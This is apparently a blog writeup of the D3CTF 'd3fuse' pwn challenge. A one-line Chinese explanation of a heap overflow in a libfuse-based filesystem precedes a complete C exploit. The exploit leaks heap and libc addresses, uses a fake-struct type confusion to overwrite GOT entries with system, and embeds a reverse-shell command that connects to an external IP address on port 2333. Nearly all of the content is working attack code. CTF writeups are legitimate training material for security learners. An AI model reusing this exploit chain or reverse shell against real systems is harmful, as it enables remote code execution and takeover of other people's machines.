MENU

D3CTF PWN Writeup

March 16, 2022 • Read: 708 • Pwn,CTF

d3fuse

程序借助 libfuse 实现了一个文件系统,存在堆溢出的漏洞,修改 flags 字段来实现类型混淆,达到任意地址读写的效果。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

char buffer[0x1000];

struct context{
    char filename[0x20];
    int isDirectories;
    int size;
    struct context *list;
}fake_context[4];


int main()
{
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);

    for (int i = 0; i < 0x50; i++)
    {
        sprintf(buffer, "echo 'wjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjha' > /mnt/chunk%d", i);
        system(buffer);
    }
    system("touch /mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccdddd\xE8\x50\x40");
    system("mv /mnt/chunk48 /mnt/a");
    system("mv /mnt/chunk49 /mnt/b");
    system("mv /mnt/chunk50 /mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03");
    system("mv /mnt/chunk51 /mnt/c");
    system("mv /mnt/chunk52 /mnt/d");

    int fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_RDONLY);
    if (fd < 0)
    {
        perror("open1");
        return 0;
    }
    int size = read(fd, buffer, sizeof(buffer));
    if (size < 0)
    {
        perror("read1");
        return 0;
    }
    close(fd);

    unsigned long long leak_heap_addr = *(unsigned long long *)&buffer[0];
    printf("[+] leak_heap_addr: %p\n", (void *)leak_heap_addr);

    unsigned long long free_got = 0x0000000000405018;
    unsigned long long strcmp_got = 0x0000000000405050;


    fake_context[0].size = 0x20;
    sprintf(fake_context[0].filename, "exp0");
    fake_context[0].isDirectories = 0;
    fake_context[0].list = (struct context*)free_got;

    fake_context[1].size = 0x20;
    sprintf(fake_context[1].filename, "exp1");
    fake_context[1].isDirectories = 0;
    fake_context[1].list = (struct context*)strcmp_got;


    fake_context[2].size = 0x20;
    fake_context[2].isDirectories = 0;
    fake_context[2].list = (struct context*)strcmp_got;
    sprintf(fake_context[2].filename, "/bin/bash -c 'bash -i >& /dev/tcp/150.158.29.8/2333 0>&1'");


    printf("[+] write fake context\n");
    fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_WRONLY);
    if (fd < 0)
    {
        perror("open2");
        return 0;
    }
    size = write(fd, &fake_context, sizeof(fake_context));
    if (size < 0)
    {
        perror("write2");
        return 0;
    }
    close(fd);

    printf("[+] write global context\n");
    unsigned long long write_addr = leak_heap_addr + 0x3a0;
    fd = open("/mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", O_WRONLY);
    if (fd < 0)
    {
        perror("open3");
        return 0;
    }
    size = write(fd, &write_addr, sizeof(write_addr));
    if (size < 0)
    {
        perror("write3");
        return 0;
    }
    close(fd);

    printf("[+] leak got@free\n");
    fd = open("/mnt/exp0", O_RDONLY);
    if (fd < 0)
    {
        perror("open4");
        return 0;
    }
    size = read(fd, buffer, 8);
    if (size < 0)
    {
        perror("read4");
        return 0;
    }
    close(fd);

    unsigned long long libc_leak =  *(unsigned long long *)buffer;
    printf("[+] got@free leak: %p\n", (void *)libc_leak);

    unsigned long long libc_base = libc_leak - 0x9a700; //0x9d850
    printf("[+] libc_base: %p\n", (void *)libc_base);

    unsigned long long system = libc_base + 0x522c0; //0x55410;
    printf("[+] system: %p\n", (void *)system);

    printf("[+] write got@strcmp\n");
    fd = open("/mnt/exp1", O_WRONLY);
    if (fd < 0)
    {
        perror("open5");
        return 0;
    }
    size = write(fd, &system, 8);
    if (size < 0)
    {
        perror("write5");
        return 0;
    }

    printf("[+] RCE\n");
    open("/mnt/rce", O_WRONLY);
}
Archives QR Code
QR Code for this page
Tipping QR Code